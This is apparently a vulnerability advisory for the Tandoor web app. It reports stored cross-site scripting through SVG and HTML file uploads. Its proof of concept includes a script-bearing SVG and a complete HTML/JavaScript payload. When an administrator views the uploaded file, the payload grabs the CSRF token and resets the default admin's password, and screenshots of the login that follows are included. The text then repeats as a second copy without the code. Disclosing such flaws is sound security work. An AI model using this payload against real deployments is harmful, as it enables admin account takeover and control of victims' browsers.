Summary
The file upload feature allows to upload arbitrary files, including html and svg. Both can contain malicious content (XSS Payloads)
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
Create poc.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
Upload the svg using https://tandoor-dev.lokal.kirlia.de/list/user-file/ and set it as "Logo SVG" of a space
The XSS does not trigger, when the svg is embedded as image, but it triggers when the SVG is requested directly:
![image](https://private-user-images.githubusercontent.com/4344935/389865203-dc69e039-5fd5-457a-bf94-380c8a8f461b.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzkyMzU4MTUsIm5iZiI6MTczOTIzNTUxNSwicGF0aCI6Ii80MzQ0OTM1LzM4OTg2NTIwMy1kYzY5ZTAzOS01ZmQ1LTQ1N2EtYmY5NC0zODBjOGE4ZjQ2MWIucG5nP1gtQW16LUFsZ29yaXRobT1BV1M0LUhNQUMtU0hBMjU2JlgtQW16LUNyZWRlbnRpYWw9QUtJQVZDT0RZTFNBNTNQUUs0WkElMkYyMDI1MDIxMSUyRnVzLWVhc3QtMSUyRnMzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNTAyMTFUMDA1ODM1WiZYLUFtei1FeHBpcmVzPTMwMCZYLUFtei1TaWduYXR1cmU9NDBkMDc0Y2E0NjFhMDliMGUwNDViMGU5N2NiMzFiM2E5YzExOTUxYTliYzIxNGI5YzdjYTEyMDhlNjQ4ZTkwNyZYLUFtei1TaWduZWRIZWFkZXJzPWhvc3QifQ.etSsATtl-heegFoj5j5XAzfL2PMRJBDgexHLAKY6u6o)
![image](https://private-user-images.githubusercontent.com/4344935/389865262-253358bf-7b4d-453c-b9cc-baf12e11c7b6.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzkyMzU4MTUsIm5iZiI6MTczOTIzNTUxNSwicGF0aCI6Ii80MzQ0OTM1LzM4OTg2NTI2Mi0yNTMzNThiZi03YjRkLTQ1M2MtYjljYy1iYWYxMmUxMWM3YjYucG5nP1gtQW16LUFsZ29yaXRobT1BV1M0LUhNQUMtU0hBMjU2JlgtQW16LUNyZWRlbnRpYWw9QUtJQVZDT0RZTFNBNTNQUUs0WkElMkYyMDI1MDIxMSUyRnVzLWVhc3QtMSUyRnMzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNTAyMTFUMDA1ODM1WiZYLUFtei1FeHBpcmVzPTMwMCZYLUFtei1TaWduYXR1cmU9YWFmYTkyYWZlNWU0NGRlOWUwOGQ2NzlkOTNhYmRkM2E4NTBjZWQyZmU0OGRkZDJmOTAwZDY2MDVjZTM5MjA2ZCZYLUFtei1TaWduZWRIZWFkZXJzPWhvc3QifQ.vxvu6u01airTiAWLZ1uvZe-ppABUqPRVSOXbZmbqaVY)
The following html files will reset the password of the admin user (user with id 1), if it is viewed by an administrator
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Automated Request</title>
</head>
<body>
<h1 id="status">Loading...</h1>
<script>
// Function to perform the GET request to fetch the CSRF token
async function fetchCsrfToken() {
try {
const response = await fetch('/admin/auth/user/1/password/', {
method: 'GET',
credentials: 'include' // Include cookies for authentication
});
const text = await response.text();
// Check if the response contains the "not authorized" message
if (text.includes('not authorized to access this page')) {
throw new Error('not authorized');
}
// Extract the CSRF token from the response using a regular expression
const csrfTokenMatch = text.match(/<input type="hidden" name="csrfmiddlewaretoken" value="(.*?)">/);
if (csrfTokenMatch && csrfTokenMatch[1]) {
return csrfTokenMatch[1]; // Return the extracted CSRF token
} else {
throw new Error('CSRF token not found');
}
} catch (error) {
throw error; // Propagate the error to handle it in the main function
}
}
// Function to perform the POST request to update the password
async function changePassword(csrfToken) {
const formData = new URLSearchParams();
formData.append('csrfmiddlewaretoken', csrfToken);
formData.append('username', 'admin');
formData.append('password1', 'NewPassword123');
formData.append('password2', 'NewPassword123');
try {
const response = await fetch('/admin/auth/user/1/password/', {
method: 'POST',
credentials: 'include', // Include cookies for authentication
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: formData.toString()
});
if (response.ok) {
return true; // Password update was successful
} else {
throw new Error('Failed to update password');
}
} catch (error) {
throw new Error('Error changing password: ' + error.message);
}
}
// Main function to execute both requests sequentially
(async function execute() {
try {
// Step 1: Fetch the CSRF token
const csrfToken = await fetchCsrfToken();
// Step 2: Use the CSRF token to update the password
const result = await changePassword(csrfToken);
// Update the page status based on the result
if (result) {
document.getElementById('status').textContent = 'Password updated successfully!';
}
} catch (error) {
// Check if the error is due to "not authorized"
if (error.message === 'not authorized') {
document.getElementById('status').textContent = 'You are not an admin. Send this link to an admin user.';
} else {
// Display other error messages on the page
document.getElementById('status').textContent = 'Error: ' + error.message;
}
}
})();
</script>
</body>
</html>
Upload the file. Now we need to find out the uuidv4. We can either set it as Custom Theme
![image](https://private-user-images.githubusercontent.com/4344935/389866570-16fbe230-a9d7-4935-92b5-96677bd4c82c.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzkyMzU4MTUsIm5iZiI6MTczOTIzNTUxNSwicGF0aCI6Ii80MzQ0OTM1LzM4OTg2NjU3MC0xNmZiZTIzMC1hOWQ3LTQ5MzUtOTJiNS05NjY3N2JkNGM4MmMucG5nP1gtQW16LUFsZ29yaXRobT1BV1M0LUhNQUMtU0hBMjU2JlgtQW16LUNyZWRlbnRpYWw9QUtJQVZDT0RZTFNBNTNQUUs0WkElMkYyMDI1MDIxMSUyRnVzLWVhc3QtMSUyRnMzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNTAyMTFUMDA1ODM1WiZYLUFtei1FeHBpcmVzPTMwMCZYLUFtei1TaWduYXR1cmU9ZGYyNGVlMjExYjY4Zjg5YjRjMzRmYTIwYjhmMzExZjgwNGYxYWQwM2M0MDYwMTI0NjE2OTlmZDE3NTViZTc0NSZYLUFtei1TaWduZWRIZWFkZXJzPWhvc3QifQ.e9hOYqLqVRvXWe4aP23Fl_WN4SCE_tGAV11_ocwwM5U)
Or as Logo
![image](https://private-user-images.githubusercontent.com/4344935/389866655-61bb8008-23c2-4349-aa2d-a266b41e19db.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzkyMzU4MTUsIm5iZiI6MTczOTIzNTUxNSwicGF0aCI6Ii80MzQ0OTM1LzM4OTg2NjY1NS02MWJiODAwOC0yM2MyLTQzNDktYWEyZC1hMjY2YjQxZTE5ZGIucG5nP1gtQW16LUFsZ29yaXRobT1BV1M0LUhNQUMtU0hBMjU2JlgtQW16LUNyZWRlbnRpYWw9QUtJQVZDT0RZTFNBNTNQUUs0WkElMkYyMDI1MDIxMSUyRnVzLWVhc3QtMSUyRnMzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNTAyMTFUMDA1ODM1WiZYLUFtei1FeHBpcmVzPTMwMCZYLUFtei1TaWduYXR1cmU9ZGIwY2RlNTRkYzQ0MTFmZmEyMDY2MDA3NjgzN2ZjNjA0Y2RhY2Y3ZWU1Nzg3NTIzMDUxMDkwZmNkMTkwZmExYSZYLUFtei1TaWduZWRIZWFkZXJzPWhvc3QifQ.HFacFuBi2jA4iqBratM9YlOGb1uiCnSiTqHhK0XK4vM)
In both cases its path is linked in html responses
![image](https://private-user-images.githubusercontent.com/4344935/389866867-42a7284e-3d09-4943-879e-797d0121229a.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzkyMzU4MTUsIm5iZiI6MTczOTIzNTUxNSwicGF0aCI6Ii80MzQ0OTM1LzM4OTg2Njg2Ny00MmE3Mjg0ZS0zZDA5LTQ5NDMtODc5ZS03OTdkMDEyMTIyOWEucG5nP1gtQW16LUFsZ29yaXRobT1BV1M0LUhNQUMtU0hBMjU2JlgtQW16LUNyZWRlbnRpYWw9QUtJQVZDT0RZTFNBNTNQUUs0WkElMkYyMDI1MDIxMSUyRnVzLWVhc3QtMSUyRnMzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNTAyMTFUMDA1ODM1WiZYLUFtei1FeHBpcmVzPTMwMCZYLUFtei1TaWduYXR1cmU9N2I2MzgyODhkMmI5ODUzY2JlMTVlYzZmZjU2YTEzMDBlNjMwYTk5NDJmMGZkMzNkZWJhYTY0OWZhMmE1N2JmNyZYLUFtei1TaWduZWRIZWFkZXJzPWhvc3QifQ.iInXZLUpqbkajSpbKOZZqcJelZ9tClQ7T0EDlB0kFcQ)
When a low privileged user accesses the html file, the following is shown
![image](https://private-user-images.githubusercontent.com/4344935/389867057-6677d326-0568-4381-9294-e01a99484cd4.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzkyMzU4MTUsIm5iZiI6MTczOTIzNTUxNSwicGF0aCI6Ii80MzQ0OTM1LzM4OTg2NzA1Ny02Njc3ZDMyNi0wNTY4LTQzODEtOTI5NC1lMDFhOTk0ODRjZDQucG5nP1gtQW16LUFsZ29yaXRobT1BV1M0LUhNQUMtU0hBMjU2JlgtQW16LUNyZWRlbnRpYWw9QUtJQVZDT0RZTFNBNTNQUUs0WkElMkYyMDI1MDIxMSUyRnVzLWVhc3QtMSUyRnMzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNTAyMTFUMDA1ODM1WiZYLUFtei1FeHBpcmVzPTMwMCZYLUFtei1TaWduYXR1cmU9OTkxOTgxNmMwM2ViYjkyNjI1ZDYyZGNjN2EyN2RjMzc3NmM1MmI2ODBmZTJmZWE0YzhkMTBiYmU5NTdkMTViOCZYLUFtei1TaWduZWRIZWFkZXJzPWhvc3QifQ.Kb0jQWLaIEtmb6s4LNvUJ2sv_cWAzNVW5aFvG3kWnAo)
In the case of an admin user it resets the password of the user with id 1 (the default administrative user)
![image](https://private-user-images.githubusercontent.com/4344935/389867259-74036ef2-7184-473a-8615-ffd2bdf201e8.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzkyMzU4MTUsIm5iZiI6MTczOTIzNTUxNSwicGF0aCI6Ii80MzQ0OTM1LzM4OTg2NzI1OS03NDAzNmVmMi03MTg0LTQ3M2EtODYxNS1mZmQyYmRmMjAxZTgucG5nP1gtQW16LUFsZ29yaXRobT1BV1M0LUhNQUMtU0hBMjU2JlgtQW16LUNyZWRlbnRpYWw9QUtJQVZDT0RZTFNBNTNQUUs0WkElMkYyMDI1MDIxMSUyRnVzLWVhc3QtMSUyRnMzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNTAyMTFUMDA1ODM1WiZYLUFtei1FeHBpcmVzPTMwMCZYLUFtei1TaWduYXR1cmU9OTI0OWEwN2VhMDAyMGRiZDQxYzcwNjAxNDBhOGQ5NDI3MDI2MDBkODkyY2FhYmQ5NmMxMDMwYzgxMWI5YjQ1MCZYLUFtei1TaWduZWRIZWFkZXJzPWhvc3QifQ.7AGF0acDxH0kPVYdqYstQ9HQf0FKfJHSrXZImSh3atk)
Here we can see that we can now login as admin:NewPassword123 (the username may differ for the user with id 1)
![image](https://private-user-images.githubusercontent.com/4344935/389867363-b10f8297-0d28-4809-98a2-61c7f0bbb85d.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzkyMzU4MTUsIm5iZiI6MTczOTIzNTUxNSwicGF0aCI6Ii80MzQ0OTM1LzM4OTg2NzM2My1iMTBmODI5Ny0wZDI4LTQ4MDktOThhMi02MWM3ZjBiYmI4NWQucG5nP1gtQW16LUFsZ29yaXRobT1BV1M0LUhNQUMtU0hBMjU2JlgtQW16LUNyZWRlbnRpYWw9QUtJQVZDT0RZTFNBNTNQUUs0WkElMkYyMDI1MDIxMSUyRnVzLWVhc3QtMSUyRnMzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNTAyMTFUMDA1ODM1WiZYLUFtei1FeHBpcmVzPTMwMCZYLUFtei1TaWduYXR1cmU9M2YzYzQ2Njc5ZWVkNzkzMjE3MThhZDFkYTYyNjg4NTNhZjU5M2RkYWE3Zjc3NjE2Y2UwYWNhZDBhMWQ1NDc5NyZYLUFtei1TaWduZWRIZWFkZXJzPWhvc3QifQ.lGA-HGw5XihmL-_lWt4zICiHjeABmD4BB3kELOgP75g)
Impact
Execute arbitrary javascript in the browser of others. E.g. take over the admin account, do a ping sweep on the network or control the browser of the victim.
Summary
The file upload feature allows to upload arbitrary files, including html and svg. Both can contain malicious content (XSS Payloads)
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
Create poc.svg
Upload the svg using https://tandoor-dev.lokal.kirlia.de/list/user-file/ and set it as "Logo SVG" of a space
The XSS does not trigger, when the svg is embedded as image, but it triggers when the SVG is requested directly:
The following html files will reset the password of the admin user (user with id 1), if it is viewed by an administrator
Upload the file. Now we need to find out the uuidv4. We can either set it as Custom Theme
![image](https://private-user-images.githubusercontent.com/4344935/389866570-16fbe230-a9d7-4935-92b5-96677bd4c82c.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzkyMzU4MTUsIm5iZiI6MTczOTIzNTUxNSwicGF0aCI6Ii80MzQ0OTM1LzM4OTg2NjU3MC0xNmZiZTIzMC1hOWQ3LTQ5MzUtOTJiNS05NjY3N2JkNGM4MmMucG5nP1gtQW16LUFsZ29yaXRobT1BV1M0LUhNQUMtU0hBMjU2JlgtQW16LUNyZWRlbnRpYWw9QUtJQVZDT0RZTFNBNTNQUUs0WkElMkYyMDI1MDIxMSUyRnVzLWVhc3QtMSUyRnMzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNTAyMTFUMDA1ODM1WiZYLUFtei1FeHBpcmVzPTMwMCZYLUFtei1TaWduYXR1cmU9ZGYyNGVlMjExYjY4Zjg5YjRjMzRmYTIwYjhmMzExZjgwNGYxYWQwM2M0MDYwMTI0NjE2OTlmZDE3NTViZTc0NSZYLUFtei1TaWduZWRIZWFkZXJzPWhvc3QifQ.e9hOYqLqVRvXWe4aP23Fl_WN4SCE_tGAV11_ocwwM5U)
Or as Logo
![image](https://private-user-images.githubusercontent.com/4344935/389866655-61bb8008-23c2-4349-aa2d-a266b41e19db.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzkyMzU4MTUsIm5iZiI6MTczOTIzNTUxNSwicGF0aCI6Ii80MzQ0OTM1LzM4OTg2NjY1NS02MWJiODAwOC0yM2MyLTQzNDktYWEyZC1hMjY2YjQxZTE5ZGIucG5nP1gtQW16LUFsZ29yaXRobT1BV1M0LUhNQUMtU0hBMjU2JlgtQW16LUNyZWRlbnRpYWw9QUtJQVZDT0RZTFNBNTNQUUs0WkElMkYyMDI1MDIxMSUyRnVzLWVhc3QtMSUyRnMzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNTAyMTFUMDA1ODM1WiZYLUFtei1FeHBpcmVzPTMwMCZYLUFtei1TaWduYXR1cmU9ZGIwY2RlNTRkYzQ0MTFmZmEyMDY2MDA3NjgzN2ZjNjA0Y2RhY2Y3ZWU1Nzg3NTIzMDUxMDkwZmNkMTkwZmExYSZYLUFtei1TaWduZWRIZWFkZXJzPWhvc3QifQ.HFacFuBi2jA4iqBratM9YlOGb1uiCnSiTqHhK0XK4vM)
In both cases its path is linked in html responses
When a low privileged user accesses the html file, the following is shown
In the case of an admin user it resets the password of the user with id 1 (the default administrative user)
Here we can see that we can now login as admin:NewPassword123 (the username may differ for the user with id 1)
Impact
Execute arbitrary javascript in the browser of others. E.g. take over the admin account, do a ping sweep on the network or control the browser of the victim.